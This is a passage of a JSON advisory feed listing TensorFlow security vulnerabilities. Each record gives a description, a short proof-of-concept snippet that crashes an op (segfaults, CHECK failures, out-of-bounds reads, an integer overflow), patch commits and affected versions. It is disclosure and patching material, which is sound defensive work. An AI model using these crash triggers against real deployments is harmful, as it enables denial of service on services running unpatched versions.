2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.242Z","updated_at":"2023-03-30T22:16:24.000Z","epss_percentage":0.00134,"epss_percentile":0.34312},{"uuid":"GSA_kwCzR0hTQS03eDR2LTlneGctOWh3as4AAyT1","url":"https://github.com/advisories/GHSA-7x4v-9gxg-9hwj","title":"TensorFlow has Segfault in Bincount with XLA","description":"### Impact\nWhen running with XLA, `tf.raw_ops.Bincount` segfaults when given a parameter `weights` that is neither the same shape as parameter `arr` nor a length-0 tensor.\n\n```python\nimport tensorflow as tf\n\nfunc = tf.raw_ops.Bincount\npara={'arr': 6, 'size': 804, 'weights': [52, 351]}\n\n@tf.function(jit_compile=True)\ndef fuzz_jit():\n y = func(**para)\n return y\n\nprint(fuzz_jit())\n```\n\n### Patches\nWe have patched the issue in GitHub commit [8ae76cf085f4be26295d2ecf2081e759e04b8acf](https://github.com/tensorflow/tensorflow/commit/8ae76cf085f4be26295d2ecf2081e759e04b8acf).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx of 360 AIVul Team\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:54:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7x4v-9gxg-9hwj","https://github.com/tensorflow/tensorflow/commit/8ae76cf085f4be26295d2ecf2081e759e04b8acf","https://nvd.nist.gov/vuln/detail/CVE-2023-25675","https://github.com/advisories/GHSA-7x4v-9gxg-9hwj"],"source_kind":"github","identifiers":["GHSA-7x4v-9gxg-9hwj","CVE-2023-25675"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.303Z","updated_at":"2023-04-03T20:56:27.000Z","epss_percentage":0.00134,"epss_percentile":0.34312},{"uuid":"GSA_kwCzR0hTQS02d2ZoLTg5cTgtNDRqcc4AAyT0","url":"https://github.com/advisories/GHSA-6wfh-89q8-44jq","title":"TensorFlow has null dereference on ParallelConcat with XLA","description":"### Impact\nWhen running with XLA, `tf.raw_ops.ParallelConcat` segfaults with a nullptr dereference when given a parameter `shape` with rank that is not greater than zero.\n\n```python\nimport tensorflow as tf\n\nfunc = tf.raw_ops.ParallelConcat\npara = {'shape':  0, 'values': [1]}\n\n@tf.function(jit_compile=True)\ndef test():\n   y = func(**para)\n   return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [da66bc6d5ff466aee084f9e7397980a24890cd15](https://github.com/tensorflow/tensorflow/commit/da66bc6d5ff466aee084f9e7397980a24890cd15).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx of 360 AIVul Team\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:54:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6wfh-89q8-44jq","https://github.com/tensorflow/tensorflow/commit/da66bc6d5ff466aee084f9e7397980a24890cd15","https://nvd.nist.gov/vuln/detail/CVE-2023-25676","https://github.com/advisories/GHSA-6wfh-89q8-44jq"],"source_kind":"github","identifiers":["GHSA-6wfh-89q8-44jq","CVE-2023-25676"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.320Z","updated_at":"2023-03-27T21:24:14.000Z","epss_percentage":0.00156,"epss_percentile":0.37468},{"uuid":"GSA_kwCzR0hTQS05N3A3LXc4NmgtdmNmOc4AAu12","url":"https://github.com/advisories/GHSA-97p7-w86h-vcf9","title":"TensorFlow vulnerable to `CHECK` failure in `SobolSample` via missing validation","description":"### Impact\nThe implementation of SobolSampleOp is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by assuming `input(0)`, `input(1)`, and `input(2)` to be scalar.\n```python\nimport tensorflow as tf\ntf.raw_ops.SobolSample(dim=tf.constant([1,0]), num_results=tf.constant([1]), skip=tf.constant([1]))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [c65c67f88ad770662e8f191269a907bf2b94b1bf](https://github.com/tensorflow/tensorflow/commit/c65c67f88ad770662e8f191269a907bf2b94b1bf).\n\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by:\n- Kang Hong Jin from Singapore Management University\n- Neophytos Christou, Secure Systems Labs, Brown University\n- 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T20:51:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-97p7-w86h-vcf9","https://github.com/tensorflow/tensorflow/commit/c65c67f88ad770662e8f191269a907bf2b94b1bf","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35935","https://github.com/advisories/GHSA-97p7-w86h-vcf9"],"source_kind":"github","identifiers":["GHSA-97p7-w86h-vcf9","CVE-2022-35935"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.596Z","updated_at":"2023-01-28T05:03:00.000Z","epss_percentage":0.00087,"epss_percentile":0.26143},{"uuid":"GSA_kwCzR0hTQS0ydnYzLTU2cWctZzJjZs4AArBM","url":"https://github.com/advisories/GHSA-2vv3-56qg-g2cf","title":"Missing validation causes denial of service via `LSTMBlockCell`","description":"### Impact\nThe implementation of [`tf.raw_ops.LSTMBlockCell`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/rnn/lstm_ops.cc) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.LSTMBlockCell( \n  x=tf.constant(0.837607, shape=[28,29], dtype=tf.float32),\n  cs_prev=tf.constant(0, shape=[28,17], dtype=tf.float32),\n  h_prev=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),\n  w=tf.constant(0.887386262, shape=[46,68], dtype=tf.float32),\n  wci=tf.constant(0, shape=[], dtype=tf.float32),\n  wcf=tf.constant(0, shape=[17], dtype=tf.float32),\n  wco=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),\n  b=tf.constant(0.75259006, shape=[68], dtype=tf.float32),\n  forget_bias=1, cell_clip=0, use_peephole=False)\n``` \n  \nThe code does not validate the ranks of any of the arguments to this API call. This results in `CHECK`-failures when the elements of the tensor are accessed.\n    \n### Patches\nWe have patched the issue in GitHub commit [803404044ae7a1efac48ba82d74111fce1ddb09a](https://github.com/tensorflow/tensorflow/commit/803404044ae7a1efac48ba82d74111fce1ddb09a).\n    \nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information                \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n    \n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:10:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2vv3-56qg-g2cf","https://nvd.nist.gov/vuln/detail/CVE-2022-29200","https://github.com/tensorflow/tensorflow/commit/803404044ae7a1efac48ba82d74111fce1ddb09a","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/rnn/lstm_ops.cc","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-2vv3-56qg-g2cf"],"source_kind":"github","identifiers":["GHSA-2vv3-56qg-g2cf","CVE-2022-29200"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.751Z","updated_at":"2023-07-21T19:30:12.000Z","epss_percentage":0.00044,"epss_percentile":0.12442},{"uuid":"GSA_kwCzR0hTQS1mNTRwLWY2anAtNHJocs0W_A","url":"https://github.com/advisories/GHSA-f54p-f6jp-4rhr","title":"Heap OOB in `FusedBatchNorm` kernels","description":"### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/fused_batch_norm_op.cc#L1292) of `FusedBatchNorm` kernels is vulnerable to a heap OOB:\n\n```python\nimport tensorflow as tf\n    \ntf.raw_ops.FusedBatchNormGrad(\n  y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)\n  x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)\n  scale=[1,1],\n  reserve_space_1=[1,1],\n  reserve_space_2=[1,1,1],\n  epsilon=1.0,\n  data_format='NCHW',\n  is_training=True) \n```\n  \n### Patches\nWe have patched the issue in GitHub commit [aab9998916c2ffbd8f0592059fad352622f89cda](https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T18:46:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f54p-f6jp-4rhr","https://nvd.nist.gov/vuln/detail/CVE-2021-41223","https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-632.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-830.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-415.yaml","https://github.com/advisories/GHSA-f54p-f6jp-4rhr"],"source_kind":"github","identifiers":["GHSA-f54p-f6jp-4rhr","CVE-2021-41223"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.538Z","updated_at":"2024-11-13T22:02:25.000Z","epss_percentage":0.00019,"epss_percentile":0.02667},{"uuid":"GSA_kwCzR0hTQS1oMndxLXBydjktMmY1Ns4AArBF","url":"https://github.com/advisories/GHSA-h2wq-prv9-2f56","title":"Missing validation crashes `QuantizeAndDequantizeV4Grad`","description":"### Impact\nThe implementation of [`tf.raw_ops.QuantizeAndDequantizeV4Grad`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L148-L226) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=tf.constant(1, shape=[2,2], dtype=tf.float64),\n  input=tf.constant(1, shape=[2,2], dtype=tf.float64),\n  input_min=tf.constant([], shape=[0], dtype=tf.float64),\n  input_max=tf.constant(-10, shape=[], dtype=tf.float64),\n  axis=-1)\n```\n\nThe code assumes `input_min` and `input_max` are scalars but there is no validation for this.\n\n### Patches\nWe have patched the issue in GitHub commit [098e7762d909bac47ce1dbabe6dfd06294cb9d58](https://github.com/tensorflow/tensorflow/commit/098e7762d909bac47ce1dbabe6dfd06294cb9d58).\n    \nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:06:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h2wq-prv9-2f56","https://nvd.nist.gov/vuln/detail/CVE-2022-29192","https://github.com/tensorflow/tensorflow/commit/098e7762d909bac47ce1dbabe6dfd06294cb9d58","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L148-L226","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-h2wq-prv9-2f56"],"source_kind":"github","identifiers":["GHSA-h2wq-prv9-2f56","CVE-2022-29192"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.815Z","updated_at":"2023-01-27T05:02:02.000Z","epss_percentage":0.00072,"epss_percentile":0.22498},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpmN2gtN204NS13MnYy","url":"https://github.com/advisories/GHSA-jf7h-7m85-w2v2","title":"Integer overflow in TFLite memory allocation","description":"### Impact\nThe TFLite code for allocating `TFLiteIntArray`s is [vulnerable to an integer overflow issue](https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L24-L27):\n\n```cc\nint TfLiteIntArrayGetSizeInBytes(int size) {\n  static TfLiteIntArray dummy;\n  return sizeof(dummy) + sizeof(dummy.data[0]) * size;\n}   \n```\n\nAn attacker can craft a model such that the `size` multiplier is so large that the return value overflows the `int` datatype and becomes negative. In turn, this results in [invalid value being given to `malloc`](https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L47-L52):\n\n```cc\nTfLiteIntArray* TfLiteIntArrayCreate(int size) {\n  TfLiteIntArray* ret = (TfLiteIntArray*)malloc(TfLiteIntArrayGetSizeInBytes(size));\n  ret-\u003esize = size; \n  return ret;\n}\n``` \n\nIn this case, `ret-\u003esize` would dereference an invalid pointer.\n\n### Patches\nWe have patched the issue in GitHub commit [7c8cc4ec69cd348e44ad6a2699057ca88faad3e5](https://github.com/tensorflow/tensorflow/commit/7c8cc4ec69cd348e44ad6a2699057ca88faad3e5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-21T14:28:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jf7h-7m85-w2v2","https://nvd.nist.gov/vuln/detail/CVE-2021-29605","https://github.com/tensorflow/tensorflow/commit/7c8cc4ec69cd348e44ad6a2699057ca88faad3e5","https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L24-L27","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-533.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-731.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-242.yaml","https://github.com/advisories/GHSA-jf7h-7m85-w2v2"],"source_kind":"github","identifiers":["GHSA-jf7h-7m85-w2v2","CVE-2021-29605"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":28.233190510605887,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.268Z","updated_at":"2024-11-13T16:10:07.000Z","epss_percentage":0.0002,"epss_percentile":0.03484},{"uuid":"GSA_kwCzR0hTQS12amc0LXYzM2MtZ2djNM0ocA","url":"https://github.com/advisories/GHSA-vjg4-v33c-ggc4","title":"Out of bounds read in Tensorflow","description":"### Impact \nThe [implementation of `FractionalAvgPoolGrad`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360) does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.FractionalAvgPoolGrad(\n    orig_input_tensor_shape=[2,2,2,2],\n    out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],\n    row_pooling_sequence=[-10,1,2,3],\n    col_pooling_sequence=[1,2,3,4],\n    overlapping=True)\n  return y\n    \ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [002408c3696b173863228223d535f9de72a101a9](https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T18:29:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vjg4-v33c-ggc4","https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360","https://nvd.nist.gov/vuln/detail/CVE-2022-21730","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-54.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-109.yaml","https://github.com/advisories/GHSA-vjg4-v33c-ggc4"],"source_kind":"github","identifiers":["GHSA-vjg4-v33c-ggc4","CVE-2022-21730"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.150Z","updated_at":"2024-11-13T22:11:43.000Z","epss_percentage":0.00296,"epss_percentile":0.52486},{"uuid":"GSA_kwCzR0hTQS1wMnhmLThoZ20taHB3Nc4AAu26","url":"https://github.com/advisories/GHSA-p2xf-8hgm-hpw5","title":"TensorFlow vulnerable to `CHECK` fail in `ParameterizedTruncatedNormal`","description":"### Impact\n`ParameterizedTruncatedNormal` assumes `shape` is of type `int32`. A valid `shape` of type `int64` results in a mismatched type `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\nseed = 1618\nseed2 = 0\nshape = tf.random.uniform(shape=[3], minval=-10000, maxval=10000, dtype=tf.int64, seed=4894)\nmeans = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)\nstdevs = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)\nminvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)\nmaxvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)\ntf.raw_ops.ParameterizedTruncatedNormal(shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals, seed=seed, seed2=seed2)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [72180be03447a10810edca700cbc9af690dfeb51](https://github.com/tensorflow/tensorflow/commit/72180be03447a10810edca700cbc9af690dfeb51).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact 